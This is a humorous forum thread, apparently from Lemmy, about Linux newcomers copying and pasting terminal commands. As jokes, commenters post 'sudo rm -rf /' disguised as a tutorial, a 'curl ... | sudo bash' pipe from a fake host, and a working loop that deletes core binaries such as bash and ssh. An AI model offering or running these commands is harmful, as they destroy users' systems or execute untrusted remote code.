Nothing better than
curl https://totally-legit-installer.com/script | sudo bash
I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.
It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.
Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:
sudo rm -rf /
Type your password when prompted and you’re golden. No more linux issues ever again.
Evil boy
I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that
It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.
This is the reason that BASH will always be better than Powershell, imho.
It optomizes your computer too? Woa
Well, technically it teaches you how to optimize your system.
That said, the optimizations are really effective.
Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like
clang
) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcablywhile read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist clang # unwanted telemitry bash # promotes violence tree # hippy garbage awk # secret backdoor into your PC ssh # isnt up to date on its intentional encryption backdoor certificate bloatlist
/s
Hope nobody dumb enough to run this Because it actually works
Lol, I know what you mean.
Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.
I swear to God Canonical have some things to answer for.
That’s probably how most of us started, but then you start getting familiar with things…
And that’s when you really get good at breaking shit.
In my early days I would reinstall the whole OS several times a week when I would fuck things up too much.
You move past this stage once you start actually depending on the system. Then you find imperfect answers to some problem and have to adapt them to your system. Then you start learning.
Heheh on Linux when you think you found the answer you copy paste, log out and back in. Sometimes reboot if it don’t with try the next copy and paste… so many memories
People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.
Aaand the arch wiki
Aaand stack overflow
Aaand the Gentoo wiki
Aaand random Linux forums :P
Aaand very occasionally the accessible source code for when you’re really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.
Years ago I started out like this, then gradually started reading and understanding the stuff.
For anyone who needs it. Try out:
curl cheat.sh/
OP bout to copy/paste this without knowing what it does lol.
what does it do?
Do it a few times and it gives your computer massive biceps
Lemme know if you find out please, I forgot the name of the reminder bot on Lemmy haha
The curl command pulls data from a URL into your terminal. So you can actually go to cheat.sh in a web browser to see what the output would be (also wouldn’t necessarily recommend doing this vs. blindly pasting commands, but in this case, perfectly safe!). It looks like a little Unix command helper tool.
Why wouldn’t you recommend this? As a novice, it seems to me like a safe way to check out what you’re actually pulling in through curl
It’s funny cuz it’s true
Lol yep.
Not just Linux, I do this all the time when ‘writing’ R or Python scripts for work. Then I spend the next 2 hours debugging a missing comma.
Butt that’s how I learnt the scripting!
I actually take the time to type everything out, but I still have no idea what I’m doing.
Yeah I’m wildly careless about copying and pasting stuff beginning with “sudo …”. No harm yet, though I do wonder what this process called “totallynotabitcoinminer” is and why my pc has slowed to a crawl.
Don’t worry, that’s just some helpful code to enable the space heater feature of your computer.
Honestly this is good enough for most people. Some may say you risk fucking up the os/computer but windows guides carry the same risk.
the linux equivalent of earning your wings is attempting a simple fix and somehow fucking up so bad you have to start over from a fresh install
Yeah… I just wanted to connect my phone via adb. Ended up removing myself from the sudo-ers group. Since I did not know how to fix this problem at the time this caused a fresh install.
I don’t think that’s a terrible way of getting started. Your subconscious will do the rest at some point, unless you’re really not interested at all (which isn’t a problem either). :)
The real learning happens when you copy and paste something you shouldn’t and bork your system. That’s basically how I started.
Me learning anything ever. Troubleshooting is the real learning phase.
No offence, but I hope you don’t hold a high ranking government position, what with catastrophic error being the only way you learn 😁
I hope I never hold a high ranking government position too